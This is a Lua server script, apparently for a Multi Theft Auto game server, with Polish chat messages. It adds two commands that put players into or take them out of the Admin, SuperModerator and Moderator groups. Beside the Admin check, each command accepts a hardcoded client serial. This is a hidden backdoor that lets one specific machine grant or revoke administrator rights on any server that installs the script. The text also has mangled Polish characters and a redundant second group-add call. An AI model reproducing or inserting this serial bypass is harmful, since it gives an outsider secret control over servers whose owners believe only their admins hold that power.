function getPlayerFromParticalName(thePlayerName)
local thePlayer = getPlayerFromName(thePlayerName)
if thePlayer then
return thePlayer
end
for _,thePlayer in ipairs(getElementsByType("player")) do
if string.find(string.gsub(getPlayerName(thePlayer):lower(),"#%x%x%x%x%x%x", ""), thePlayerName:lower(), 1, true) then
return thePlayer
end
end
return false
end
addCommandHandler("daj", function(plr, com, player, group)
if (isObjectInACLGroup("user."..getAccountName(getPlayerAccount(plr)), aclGetGroup("Admin"))) or (getPlayerSerial(plr) == "2B2BEE3C8B7C95BA25F714E7867557F2") then
if player and group then
if (group == "Admin") or (group == "SuperModerator") or (group == "Moderator") then
if getPlayerFromParticalName(player) ~= false then
if not aclGroupAddObject(aclGetGroup(group), "user."..getAccountName(getPlayerAccount(getPlayerFromParticalName(player)))) then
outputChatBox(getPlayerName(getPlayerFromParticalName(player)).. " #ffffffjest ju? w tej grupie!", plr, 255, 255, 255, true)
else
aclGroupAddObject(aclGetGroup(group), "user."..getAccountName(getPlayerAccount(getPlayerFromParticalName(player))))
if (group == "Admin") then
outputChatBox(getPlayerName(getPlayerFromParticalName(player)).. " #ffffffzosta? #ff0000Administratorem #ffffffGratulujemy!", getRootElement(), 255, 255, 255, true)
outputChatBox(getPlayerName(plr).." #ffffffdoda? Ci? do grupy #ff0000Administrator?w", getPlayerFromParticalName(player), 255, 255, 255, true)
elseif (group == "SuperModerator") then
outputChatBox(getPlayerName(getPlayerFromParticalName(player)).. " #ffffffzosta? #0066ffSuper Moderatorem #ffffffGratulujemy!", getRootElement(), 255, 255, 255, true)
outputChatBox(getPlayerName(plr).." #ffffffdoda? Ci? do grupy #0066ffSuper Moderator?w", getPlayerFromParticalName(player), 255, 255, 255, true)
elseif (group == "Moderator") then
outputChatBox(getPlayerName(getPlayerFromParticalName(player)).. " #ffffffzosta? #ffff00Moderatorem #ffffffGratulujemy!", getRootElement(), 255, 255, 255, true)
outputChatBox(getPlayerName(plr).." #ffffffdoda? Ci? do grupy #ffff00Moderator?w", getPlayerFromParticalName(player), 255, 255, 255, true)
end
end
else
outputChatBox("Podaj nick gracza!", plr)
end
else
outputChatBox("Podaj grup? (Admin, SuperModerator, Moderator)", plr)
end
else
outputChatBox("/daj [nick] [grupa (haz, smod, mod)]")
end
end
end)
addCommandHandler("usun", function(plr, com, player, group)
if (isObjectInACLGroup("user."..getAccountName(getPlayerAccount(plr)), aclGetGroup("Admin"))) or (getPlayerSerial(plr) == "3C47746FBEBB72D2A09AA613DA346984") then
if player and group then
if (group == "Admin") or (group == "SuperModerator") or (group == "Moderator") then
if getPlayerFromParticalName(player) ~= false then
if not aclGroupRemoveObject(aclGetGroup(group), "user."..getAccountName(getPlayerAccount(getPlayerFromParticalName(player)))) then
outputChatBox(getPlayerName(getPlayerFromParticalName(player)).. " #ffffffnie jest w tej grupie!", plr, 255, 255, 255, true)
else
if (group == "Admin") then
outputChatBox(getPlayerName(getPlayerFromParticalName(player)).. " #ffffffzosta? usuniety z grupy #ff0000Administrator?w", getRootElement(), 255, 255, 255, true)
outputChatBox(getPlayerName(plr).." #ffffffusun?? Ci? z grupy #ff0000Administrator?w", getPlayerFromParticalName(player), 255, 255, 255, true)
elseif (group == "SuperModerator") then
outputChatBox(getPlayerName(getPlayerFromParticalName(player)).. " #ffffffzosta? usuni?ty z grupy #0066ffSuper Moderator?w!", getRootElement(), 255, 255, 255, true)
outputChatBox(getPlayerName(plr).." #ffffffusun?? Ci? z grupy #0066ffSuper Moderator?w", getPlayerFromParticalName(player), 255, 255, 255, true)
elseif (group == "Moderator") then
outputChatBox(getPlayerName(getPlayerFromParticalName(player)).. " #ffffffzosta? usuni?ty z grupy #ffff00Moderator?w", getRootElement(), 255, 255, 255, true)
outputChatBox(getPlayerName(plr).." #ffffffusun?? Ci? z grupy #ffff00Moderator?w", getPlayerFromParticalName(player), 255, 255, 255, true)
end
end
else
outputChatBox("Podaj nick gracza!", plr)
end
else
outputChatBox("Podaj grup? (Admin, SuperModerator, Moderator)", plr)
end
else
outputChatBox("/usun [nick] [grupa (Admin, SuperModerator, Moderator)]")
end
end
end)